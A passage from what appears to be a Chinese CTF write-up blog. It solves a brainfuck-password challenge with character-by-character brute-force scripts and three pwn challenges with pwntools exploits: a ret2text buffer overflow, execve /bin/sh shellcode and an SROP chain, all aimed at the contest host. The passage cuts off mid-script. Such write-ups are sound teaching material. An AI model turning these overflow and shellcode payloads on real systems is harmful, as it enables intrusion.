\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br> &nbsp; &nbsp;<br>Enter the password<br>&gt;&gt; +++++ ++++&#91; -&gt;+++ +++++ +&lt;]&gt;+ +++++ +++++ +++++ ++.&lt;+ +++&#91;- &gt;++++ &lt;]&gt;+. &lt;++++ &#91;-&gt;-- --&lt;]&gt; --.&lt;+ +++&#91;- &gt;++++ &lt;]&gt;++ +.&lt;++ ++&#91;-&gt; ----&lt; ]&gt;--. &lt;++++ &#91;-&gt;++ ++&lt;]&gt; +.&lt;++ +&#91;-&gt;- --&lt;]&gt; ----- .&lt;+++ +&#91;-&gt;+ +++&lt;] &gt;++++ +.&lt;++ +++&#91;- &gt;---- -&lt;]&gt;- .&lt;<br>\u200b<br>Decrypting...<br>ctbuctf{a<br>Wrong Password! Try again~<br>\u200b<br> &nbsp;  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588 &nbsp; &nbsp; &nbsp; GRANDPA'S VIVO50 SAFE &nbsp; &nbsp;  \u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Enter Brainfuck Code to Unlock: &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2502 &gt;&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2502 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Options: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &#91; RUN BF CODE ]  &#91; RESET ]  &#91; HELP ] &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp;  \u26a0 Reminder: Thursday is the deadline! &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br> &nbsp; &nbsp;<br>Enter the password<br>&gt;&gt; <br>\u200b<br>\u5927\u81f4\u73a9\u6cd5\u5c31\u662f\u8fde\u4e0a\u670d\u52a1\u5668\u540e\uff0c\u8f93\u5165\u6240\u6c42flag\u5bf9\u5e94\u7684brainfuck\u7f16\u7801<br>\u5bf9\u4e8e\u6bcf\u6b21\u8f93\u5165\u7684\u5185\u5bb9\uff0c\u670d\u52a1\u5668\u4f1a\u4e00\u4f4d\u4e00\u4f4d\u7684\u8fdb\u884c\u6bd4\u5bf9\uff0c\u53ea\u6709\u4e0a\u4e00\u4f4dbrainfuck\u89e3\u7801\u51fa\u6765\u5bf9\u5e94\u7684\u5b57\u6bcd\u548c\u76ee\u6807\u5b57\u6bcd\u76f8\u5339\u914d\uff0c\u624d\u80fd\u5f00\u59cb\u6bd4\u5bf9\u4e0b\u4e00\u4f4d\uff0c\u5982\u679c\u6bd4\u5bf9\u6ca1\u80fd\u5bf9\u4e0a\uff0c\u4f1a\u9000\u51fa\u8fd9\u6b21\u6bd4\u5bf9\u7136\u540e\u8981\u6c42\u518d\u8f93\u5165\u4e00\u6b21password\uff0cpassword\u5373\u9700\u8981\u8f93\u5165\u7684brainfuck\u5185\u5bb9<br>\u73b0\u5728\uff0c\u5df2\u77e5\u76ee\u6807\u5bc6\u7801\u683c\u5f0f\uff1actbuctf{&#91;a-z0-9]+}\uff0c\u8bf7\u5c06\u5bc6\u7801\u4f5c\u4e3aflag\u63d0\u4ea4<br>\u73b0\u5728\uff0c\u9010\u4f4d\u8fdb\u884c\u904d\u5386\uff0c\u53ea\u6709\u82b1\u62ec\u53f7\u91cc\u9762\u7684\u672a\u77e5\u5185\u5bb9\u9700\u8981\u904d\u5386\uff0c\u957f\u5ea6\u672a\u77e5\uff0c\u6bcf\u6b21\u904d\u5386\u8981\u6c42\u628a\u5f53\u524d\u7684\u5185\u5bb9\u8fdb\u884cbrainfuck\u7f16\u7801\u540e\uff0c\u4f20\u5165\u76ee\u6807\u670d\u52a1\u5668\uff0c\u7136\u540e\u89c2\u5bdf\u56de\u663e\uff0c\u5982\u679c\u63d0\u793awrong password\u5c31\u8ba9\u5f53\u524d\u5b57\u6bcd\u6362\u6210\u4e0b\u4e00\u4e2a\u5b57\u6bcd<br>\u4f8b\u5982\uff0c\u7b2c\u4e00\u6b21\u904d\u5386\u4f7f\u7528ctbuctf{a}\u8fdb\u884c\uff0c\u7ecf\u8fc7brainfuck\u7f16\u7801\u540e\uff0c\u4f20\u5165<br>\u5728\u670d\u52a1\u5668\u5bf9\u5b57\u6bcd\u2019a\u2018\u8fdb\u884c\u6bd4\u5bf9\u540e\uff0c\u4f1a\u629b\u51fawrong password\uff0c\u5219\u8fdb\u5165\u4e0b\u4e00\u4e2a\u5b57\u6bcd\uff0c\u4e5f\u5c31\u662fctbuctf{b}\uff0c\u76f4\u5230\u8fd9\u4e2a\u5b57\u7b26\u9a8c\u8bc1\u6b63\u786e\uff0c\u8fdb\u5165\u4e0b\u4e00\u4f4d\u5b57\u7b26\u7684\u9a8c\u8bc1<br>\u4f8b\u5982\uff0c\u5982\u679c\u8f93\u5165ctbuctf{x}\uff0c\u56e0\u4e3a\u4ea4\u4e92\u6548\u679c\u7684\u539f\u56e0\uff0c\u5f53\u82b1\u62ec\u53f7\u4e2d\u7684\u7b2c\u4e00\u4f4d\u5185\u5bb9\u771f\u7684\u662fx\u65f6\uff0c\u54cd\u5e94\u4e2d\u7684Decrypting...\u90e8\u5206\uff0c\u4f1a\u8f93\u51fa\u6210ctbuctf{x}\uff0c\u7136\u540e\u629b\u51fa\u9519\u8bef\uff0c\u5982\u679c\u4e0d\u662fx\uff0c\u53ea\u4f1a\u8f93\u51fa\u6210ctbuctf{x &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u7136\u540e\u629b\u51fa\u9519\u8bef<br>\u6240\u4ee5\u73b0\u5728\u5199\u4e2a\u904d\u5386\u811a\u672c\uff0c\u7ecf\u8fc7brainfuck\u7f16\u7801\u540e\uff0c\u8fde\u63a5\u670d\u52a1\u5668\uff0c\u4f20\u5165\u540e\u9010\u5b57\u8282\u7206\u7834\uff0c\u76ee\u6807\u662f\u627e\u5230\u5bc6\u7801\uff0c\u4e5f\u5c31\u662fflag<\/code><\/pre>\n\n\n\n<p>\u8bdd\u8bf4\u4e3a\u4ec0\u4e48\u975e\u8981\u5f04\u4e2a\u90a3\u4ec0\u4e48options\u4e0a\u53bb\uff0c\u4e00\u5f00\u59cb\u6ca1\u60f3\u73a9\u8fd9\u4e2a\u5c31\u662f\u56e0\u4e3a\u6211\u6ca1\u6cd5\u9009\u8fd9\u4e2a\u9009\u9879\uff0c\u6211\u8fd8\u5728\u60f3\u8fd9\u600e\u4e48\u73a9\uff0c\u6211\u73a9\u4e0d\u660e\u767d\uff08\uff09<\/p>\n\n\n\n<p>\u7ed3\u679c\u6211\u5230\u6700\u540e\u90fd\u6ca1\u7528\u4e0a\u8fd9\u4e2a\uff09<\/p>\n\n\n\n<p>AI\u7ed9\u51fa\u7684exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import socket<br>\u200b<br>\u200b<br>def str_to_bf(s):<br> &nbsp; &nbsp;if not s:<br> &nbsp; &nbsp; &nbsp; &nbsp;return \"\"<br> &nbsp; &nbsp;code = \"\"<br> &nbsp; &nbsp;for c in s:<br> &nbsp; &nbsp; &nbsp; &nbsp;code += \"&gt;\"<br> &nbsp; &nbsp; &nbsp; &nbsp;code += \"+\" * ord(c)<br> &nbsp; &nbsp; &nbsp; &nbsp;code += \".\"<br> &nbsp; &nbsp;return code&#91;1:] &nbsp;# \u53bb\u6389\u7b2c\u4e00\u4e2a\u591a\u4f59\u7684'&gt;'<br>\u200b<br>\u200b<br>charset = 'abcdefghijklmnopqrstuvwxyz0123456789'<br>known_prefix = \"ctbuctf{\"<br>\u200b<br>while not known_prefix.endswith('}'):<br> &nbsp; &nbsp;print(f\"Current prefix: {known_prefix}\")<br> &nbsp; &nbsp;found = False<br> &nbsp; &nbsp;for c in charset:<br> &nbsp; &nbsp; &nbsp; &nbsp;guess = known_prefix + c<br> &nbsp; &nbsp; &nbsp; &nbsp;bf_code = str_to_bf(guess)<br> &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Trying '{guess}': {bf_code&#91;:50]}...\")<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;# \u5efa\u7acb\u8fde\u63a5\u5e76\u53d1\u9001BF\u4ee3\u7801<br> &nbsp; &nbsp; &nbsp; &nbsp;try:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;s.settimeout(10)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;s.connect(('ctf.ctbu.edu.cn', 33326))<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u8bfb\u53d6\u76f4\u5230\u51fa\u73b0\u8f93\u5165\u63d0\u793a\u7b26<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;buffer = \"\"<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while True:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data = s.recv(1024).decode(errors='ignore')<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if not data:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;buffer += data<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if \"&gt;&gt; \" in buffer:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u53d1\u9001Brainfuck\u4ee3\u7801<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;s.sendall(bf_code.encode() + b'\\n')<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u8bfb\u53d6\u54cd\u5e94<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response = \"\"<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;while True:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data = s.recv(4096).decode(errors='ignore')<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if not data:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;response += data<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;s.close()<br> &nbsp; &nbsp; &nbsp; &nbsp;except Exception as e:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Error: {e}\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;# \u68c0\u67e5\u662f\u5426\u51fa\u73b0IndexError<br> &nbsp; &nbsp; &nbsp; &nbsp;if 'IndexError' in response:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;known_prefix += c<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Found correct character: '{c}'\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;found = True<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br> &nbsp; &nbsp; &nbsp; &nbsp;else:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Character '{c}' incorrect.\")<br>\u200b<br> &nbsp; &nbsp;if not found:<br> &nbsp; &nbsp; &nbsp; &nbsp;print(\"Failed to find next character. Exiting.\")<br> &nbsp; &nbsp; &nbsp; &nbsp;break<br>\u200b<br>print(f\"Flag found: {known_prefix}\")<\/code><\/pre>\n\n\n\n<p>\u8001\u5b9e\u8bf4\uff0c\u4e00\u5f00\u59cb\u6211\u5acc\u8fd9\u4e2a\u7248\u672c\u6162\uff0c\u770b\u5230\u4e4b\u524d\u7684\u4ea4\u4e92\u6548\u679c\uff0c\u6709\u4e9b\u5947\u5947\u602a\u602a\u7684\u60f3\u6cd5\uff0c\u91cd\u65b0\u68ad\u4e86\u4e00\u4efd\u811a\u672c<\/p>\n\n\n\n<p>\u4f46\u662f\u8fd9\u4e2a\u66f4\u6162\uff08\u8fd8\u597d\u6211\u4e00\u5f00\u59cb\u60f3\u7684\u662f\u4e24\u4e2a\u4e00\u8d77\u8dd1\uff0c\u4e0d\u505c\u4e0d\u6539\u7b2c\u4e00\u4e2a\uff09<\/p>\n\n\n\n<p>\u4e0d\u8fc7\u7b2c\u4e8c\u4efd\u80fd\u4e0d\u80fd\u8dd1\u51fa\u6765\u8fd8\u771f\u4e0d\u4e00\u5b9a\uff08\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>import string<br>\u200b<br>context.log_level = 'error' &nbsp;# \u5173\u95ed\u5197\u4f59\u65e5\u5fd7<br>\u200b<br>\u200b<br>def generate_bf(current_guess):<br> &nbsp; &nbsp;# \u751f\u6210\u53ea\u8f93\u51fa\u5f53\u524d\u731c\u6d4b\u5b57\u7b26\u4e32\u7684brainfuck\u4ee3\u7801<br> &nbsp; &nbsp;# \u786e\u4fdd\u6bcf\u4e2a\u5b57\u7b26\u5728\u72ec\u7acbcell\u4e2d\u751f\u6210\uff0c\u907f\u514d\u6307\u9488\u5e72\u6270<br> &nbsp; &nbsp;bf_code = \"\"<br> &nbsp; &nbsp;for c in current_guess:<br> &nbsp; &nbsp; &nbsp; &nbsp;bf_code += \"&gt;\" &nbsp;# \u79fb\u52a8\u5230\u65b0cell<br> &nbsp; &nbsp; &nbsp; &nbsp;bf_code += \"+\" * ord(c) &nbsp;# \u8bbe\u7f6e\u5f53\u524dcell\u503c<br> &nbsp; &nbsp; &nbsp; &nbsp;bf_code += \".\" &nbsp;# \u8f93\u51fa\u5b57\u7b26<br> &nbsp; &nbsp;return bf_code&#91;1:] &nbsp;# \u53bb\u6389\u7b2c\u4e00\u4e2a\u591a\u4f59\u7684&gt;<br>\u200b<br>\u200b<br>known = \"ctbuctf{\"<br>charset = string.ascii_lowercase + string.digits<br>\u200b<br>while not known.endswith('}'):<br> &nbsp; &nbsp;print(f\"Current progress: {known}\")<br> &nbsp; &nbsp;for c in charset:<br> &nbsp; &nbsp; &nbsp; &nbsp;current_guess = known + c<br> &nbsp; &nbsp; &nbsp; &nbsp;bf = generate_bf(current_guess)<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;try:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u6bcf\u6b21\u521b\u5efa\u65b0\u8fde\u63a5\u786e\u4fdd\u73af\u5883\u91cd\u7f6e<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r = remote('ctf.ctbu.edu.cn', 33326)<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u8df3\u8fc7\u521d\u59cb\u63d0\u793a<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r.recvuntil(b'&gt;&gt; ')<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u53d1\u9001BF\u4ee3\u7801<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r.sendline(bf.encode())<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u83b7\u53d6\u54cd\u5e94<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;resp = r.recvall(timeout=2).decode()<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r.close()<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u5173\u952e\u5224\u65ad\u903b\u8f91<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if 'IndexError' in resp:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;known += c<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Found: {c} =&gt; {known}\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;elif 'Decrypting...' in resp and known + c in resp:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;known += c<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print(f\"Full match found: {known}\")<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br> &nbsp; &nbsp; &nbsp; &nbsp;except:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue<br> &nbsp; &nbsp;else:<br> &nbsp; &nbsp; &nbsp; &nbsp;print(\"No valid characters found!\")<br> &nbsp; &nbsp; &nbsp; &nbsp;break<br>\u200b<br>print(f\"Final flag: {known}\")<\/code><\/pre>\n\n\n\n<p>PS\uff1a\u7b2c\u4e00\u4efdexp\u68ad\u5230\u56fe\u7247\u4f4d\u7f6e\uff0c\u6211\u8fd8\u4ee5\u4e3a\u51fa\u610f\u5916\u4e86\uff0c\u5413\u5f97\u6211\u5dee\u70b9\u76f4\u63a5\u6441\u91cd\u542f\u7a0b\u5e8f\uff0c\u771f\u6441\u4e86\u6211\u4e00\u5343\u591a\u5206\u5c31\u6ca1\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6700\u540e\u8865\u4e2a<code>}<\/code>\u5c31\u597d\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"906\" height=\"180\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-383\"  sizes=\"auto, (max-width: 906px) 100vw, 906px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]Pwn me ! \ud83d\udca5<\/h4>\n\n\n\n<p>\u597d\u4e45\u6ca1\u505aret2text\u4e86\uff0c\u5361\u5728\u4e00\u4e2a\u83ab\u540d\u5176\u5999\u7684\u5730\u65b9\u5341\u591a\u5206\u949f\uff0c\u602a\u62db\u7b11\u7684\uff08\uff09<\/p>\n\n\n\n<p>\u55ef\u5bf9\uff0c\u5c31\u662f\u90a3\u4e2a0x40119E \uff08\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context.log_level = 'debug'<br>p = remote(\"ctf.ctbu.edu.cn\",32999)<br>payload =b'a' *(64 + 8) + &nbsp;p64(0x40119E)<br>p.sendlineafter(b'me!\\n',payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]shellcode \ud83d\udc1a<\/h4>\n\n\n\n<p>\u539f\u672c\u4ee5\u4e3a\u8fd8\u6709\u4e9b\u4ec0\u4e48\u8981\u6ce8\u610f\u7684\u70b9\uff0c\u7ed3\u679c\u771f\u7684\u4f20\u4e0a\u5c31\u7ed9<\/p>\n\n\n\n<p>\u968f\u4fbf\u627e\u4e2a64\u4f4d\u77edshellcode\u8fdb\u53bb\u51d1\u6570\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context.log_level = 'debug'<br>p = remote(\"ctf.ctbu.edu.cn\",33019)<br>payload = b'\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05'<br>p.sendline(payload)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]srop \ud83e\uddd9\u200d\u2642\ufe0f<\/h4>\n\n\n\n<p>\u770b\u4e86\u5feb\u63a5\u8fd124\u5c0f\u65f6\u7684\u9898\u76ee<\/p>\n\n\n\n<p>\u4e0d\u80fd\u8bf4\u60c5\u6709\u72ec\u949f\uff0c\u53ea\u80fd\u8bf4\u81ea\u5df1\u8822\u5f97\u6ca1\u8fb9<\/p>\n\n\n\n<p>\u539f\u7406\u590d\u8ff0\u8d77\u6765\u597d\u9ebb\u70e6\uff08\uff09<\/p>\n\n\n\n<p>\u5185\u6838\u5c42\u548c\u7528\u6237\u5c42\u5565\u7684\uff0c\u53cd\u6b63\u5c31\u662f\u6682\u65f6kill\u8fdb\u7a0b\u7136\u540e\u4fdd\u5b58\u4e00\u4efd\uff0c\u4e4b\u540e\u518d\u590d\u539f\u561b<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u8fc7\u7a0b\u53ef\u4ee5\u76f4\u63a5\u4f2a\u9020\uff0c\u8ba9rax = 15 \uff0csyscall\u7684\u60c5\u51b5\u4e0b\u4f1a\u76f4\u63a5\u7b49\u4ef7\u4e8e\u4e00\u4e2asigreturn<\/p>\n\n\n\n<p>\u7136\u540e\u4f2a\u9020\u4e00\u4e0b\u5404\u5bc4\u5b58\u5668\u7684\u503c\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>\u7136\u540e\/bin\/sh\u5728data\u6bb5\u662f\u76f4\u63a5\u5c31\u6709\uff0c\u6ca1\u5fc5\u8981\u50cf\u7f51\u4e0a\u90a3\u4e9b\u5947\u5947\u602a\u602a\u7684\u590d\u6742\u4f8b\u9898\u4e00\u6837\u518d\u5f80bss\u6bb5\u5148\u5199\u4e2a\/bin\/sh\u8fdb\u53bb<\/p>\n\n\n\n<p>\uff08\u8bdd\u8bf4\u80fd\u4e0d\u80fd\u5199\u554a\uff0c\u6211\u8fd8\u6ca1\u8bd5\u8fc7\uff0c\u4e4b\u524d\u5fd8\u4e86\u90a38\u5b57\u8282\u7684rbp\uff0c\u91cd\u65b0\u5f80bss\u5199\/bin\/sh\u4e5f\u8bd5\u8fc7\uff0c\u4f46\u662f\u80af\u5b9a\u6ca1\u901a\uff0c\u4e4b\u540e\u8bd5\u8bd5\u5199\u4e2a\u8fdb\u53bb\u80fd\u4e0d\u80fd\u73a9\uff09<\/p>\n\n\n\n<p>\uff08\u4e00\u5f00\u59cb\u6211\u8fd8\u5728IDA\u5230\u5904\u7ffbsyscall\u5728\u54ea\uff0c\u540e\u9762\u53d1\u73b0ROPgadget\u91cc\u9762\u5de8\u597d\u627e\uff0c\u4e5f\u662f\u8111\u762b\u5fd8\u4e86ROPgadget\u4e5f\u80fd\u627e\u5230syscall\u4e86\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context.arch = 'amd64'<br>context.log_level = 'debug'<br>\u200b<br># \u5730\u5740\u4fe1\u606f<br>bin_sh_addr = 0x404010<br>syscall_addr = 0x40110d<br>gift_addr = 0x401113<br>\u200b<br># \u6784\u9020SROP Frame<br>frame = SigreturnFrame()<br>frame.rax = 59 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# execve\u7cfb\u7edf\u8c03\u7528\u53f7<br>frame.rdi = bin_sh_addr &nbsp; &nbsp;# \/bin\/sh\u7684\u5730\u5740<br>frame.rsi = 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # \u53c2\u65702<br>frame.rdx = 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # \u53c2\u65703<br>frame.rip = syscall_addr &nbsp; # \u6267\u884csyscall\u4ee5\u89e6\u53d1execve<br>\u200b<br>\u200b<br># \u6784\u9020payload<br>payload = b'A' * 40 &nbsp; &nbsp; &nbsp; # \u586b\u5145\u7f13\u51b2\u533a\u53caRBP<br>payload += p64(gift_addr) &nbsp;# \u8986\u76d6\u8fd4\u56de\u5730\u5740\u4e3agift\u51fd\u6570<br>payload += p64(syscall_addr) &nbsp;# 